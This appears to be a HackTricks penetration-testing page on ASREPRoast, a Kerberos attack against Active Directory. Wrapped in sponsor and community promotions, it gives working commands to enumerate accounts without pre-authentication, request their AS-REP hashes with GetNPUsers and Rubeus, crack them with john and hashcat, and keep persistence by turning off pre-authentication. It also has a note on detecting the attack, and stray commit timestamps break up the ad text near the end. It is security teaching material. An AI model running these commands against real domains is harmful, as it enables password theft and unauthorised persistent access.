hacktricks/windows-hardening/active-directory-methodology/asreproast.md

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# ASREPRoast
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
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**HackenProof is home to all crypto bug bounties.**
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**Get rewarded without delays**\
HackenProof bounties launch only when their customers deposit the reward budget. You'll get the reward after the bug is verified.
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**Get experience in web3 pentesting**\
Blockchain protocols and smart contracts are the new Internet! Master web3 security at its rising days.
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**Become the web3 hacker legend**\
Gain reputation points with each verified bug and conquer the top of the weekly leaderboard.
[**Sign up on HackenProof**](https://hackenproof.com/register) start earning from your hacks!
{% embed url="https://hackenproof.com/register" %}
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## ASREPRoast
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The ASREPRoast attack looks for **users without Kerberos pre-authentication required attribute (**[_**DONT\_REQ\_PREAUTH**_](https://support.microsoft.com/en-us/help/305144/how-to-use-the-useraccountcontrol-flags-to-manipulate-user-account-pro)_**)**_.
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That means that anyone can send an AS\_REQ request to the DC on behalf of any of those users, and receive an AS\_REP message. This last kind of message contains a chunk of data encrypted with the original user key, derived from its password. Then, by using this message, the user password could be cracked offline.
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Furthermore, **no domain account is needed to perform this attack**, only connection to the DC. However, **with a domain account**, a LDAP query can be used to **retrieve users without Kerberos pre-authentication** in the domain. **Otherwise usernames have to be guessed**.
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#### Enumerating vulnerable users (need domain credentials)
```bash
Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView
```
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#### Request AS\_REP message
{% code title="Using Linux" %}
```bash
#Try all the usernames in usernames.txt
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
#Use domain creds to extract targets and target them
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
```
{% endcode %}
{% code title="Using Windows" %}
```bash
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.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast [/user:username]
Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)
```
{% endcode %}
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{% hint style="warning" %}
AS-REP Roasting with Rubeus will generate a 4768 with an encryption type of 0x17 and preauth type of 0.
{% endhint %}
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### Cracking
```
john --wordlist=passwords_kerb.txt hashes.asreproast
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
```
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### Persistence
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Force **preauth** not required for a user where you have **GenericAll** permissions (or permissions to write properties):
```bash
Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose
```
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## References
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[**More information about AS-RRP Roasting in ired.team**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat)
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<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
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**HackenProof is home to all crypto bug bounties.**
**Get rewarded without delays**\
HackenProof bounties launch only when their customers deposit the reward budget. You'll get the reward after the bug is verified.
2023-03-05 19:54:13 +00:00
2023-07-14 15:03:41 +00:00
**Get experience in web3 pentesting**\
Blockchain protocols and smart contracts are the new Internet! Master web3 security at its rising days.
2023-02-27 09:28:45 +00:00
2023-07-14 15:03:41 +00:00
**Become the web3 hacker legend**\
Gain reputation points with each verified bug and conquer the top of the weekly leaderboard.
2023-02-27 09:28:45 +00:00
2023-07-14 15:03:41 +00:00
[**Sign up on HackenProof**](https://hackenproof.com/register) start earning from your hacks!
2023-02-27 09:28:45 +00:00
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{% embed url="https://hackenproof.com/register" %}
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<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>